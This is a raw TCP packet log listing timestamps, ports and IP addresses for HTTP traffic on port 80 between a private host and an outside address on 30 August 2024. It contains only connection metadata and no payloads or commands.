Aug 30, 2024 18:18:10.087692976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.087701082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.087779045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.087788105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.087822914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088165998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088215113 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088223934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088233948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088267088 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088368893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088378906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088387012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088397026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088416100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088435888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088577986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088588953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088597059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088604927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088630915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088645935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088707924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088717937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088731050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088740110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088747978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088752985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088779926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.088932991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088943005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.088979006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089044094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089054108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089062929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089071989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089080095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089087963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089090109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089099884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089106083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089111090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089123964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089143991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089400053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089407921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089446068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089462996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089472055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089481115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089504957 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089528084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089605093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089613914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089622974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089631081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089639902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089651108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089680910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089728117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089737892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089766979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089811087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089824915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089833021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089842081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089850903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.089863062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.089884996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090416908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090461016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090466976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090476990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090506077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090590000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090600014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090609074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090619087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090634108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090651035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090774059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090799093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090821981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090833902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090862036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090914965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090924978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090933084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090941906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090958118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090961933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.090967894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090972900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090981007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090986967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.090987921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091018915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091296911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091341972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091373920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091383934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091392040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091401100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091412067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091440916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091590881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091599941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091613054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091623068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091631889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091633081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091641903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091653109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091670036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091834068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091845036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091854095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091860056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091865063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091888905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091921091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091931105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091941118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091948986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091958046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091965914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091969967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091975927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091984987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091989040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.091989994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.091995001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092009068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092037916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092588902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092598915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092607021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092616081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092623949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092632055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092633009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092642069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092650890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092653990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092660904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092669964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092674971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092678070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092688084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092694998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092696905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092705965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092714071 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092715025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092729092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092735052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092740059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092747927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092752934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092757940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092767000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.092782021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.092808962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.093327045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.093378067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.093447924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.093457937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.093466997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.093605042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.093605042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.114831924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114841938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114850998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114857912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114896059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.114917994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.114969015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114979982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114988089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.114998102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.115181923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175246000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175288916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175299883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175364017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175411940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175422907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175432920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175448895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175451994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175458908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175482035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175507069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175673008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175709963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175719976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175757885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175782919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175812960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175823927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175834894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175846100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.175860882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.175892115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176012039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176023006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176034927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176044941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176059008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176060915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176073074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176101923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176213026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176224947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176260948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176286936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176306009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176316023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176326036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176337004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.176350117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.176377058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.236505985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236572027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.236624002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236635923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236644983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236654043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236663103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236671925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236676931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.236680984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236716986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.236726999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.236834049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236845016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.236886978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.278929949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.283720016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521280050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521297932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521308899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521315098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521452904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521482944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521526098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521537066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521661997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521665096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521665096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521673918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521683931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521713972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521742105 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521764040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521821022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521850109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521861076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521877050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.521893024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521919966 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.521992922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522003889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522015095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522026062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522039890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.522072077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.522156954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522166967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522207022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.522874117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522885084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522895098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522903919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522914886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522924900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522936106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522938013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.522945881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522957087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522965908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.522979021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.522998095 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523009062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523016930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523020983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523031950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523060083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523086071 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523545980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523556948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523566008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523576021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523586988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523595095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523597956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523606062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523617029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523627043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.523644924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.523668051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524209023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524219990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524230003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524239063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524249077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524259090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524260998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524269104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524280071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524283886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524291039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524300098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524303913 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524310112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524322987 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524326086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524339914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524362087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524530888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524636030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524859905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524869919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524880886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524889946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524899960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524909019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524919987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524919987 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524930954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.524945974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524966955 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.524991989 CEST	80	49730	185.215.113.100	192.168.2.4
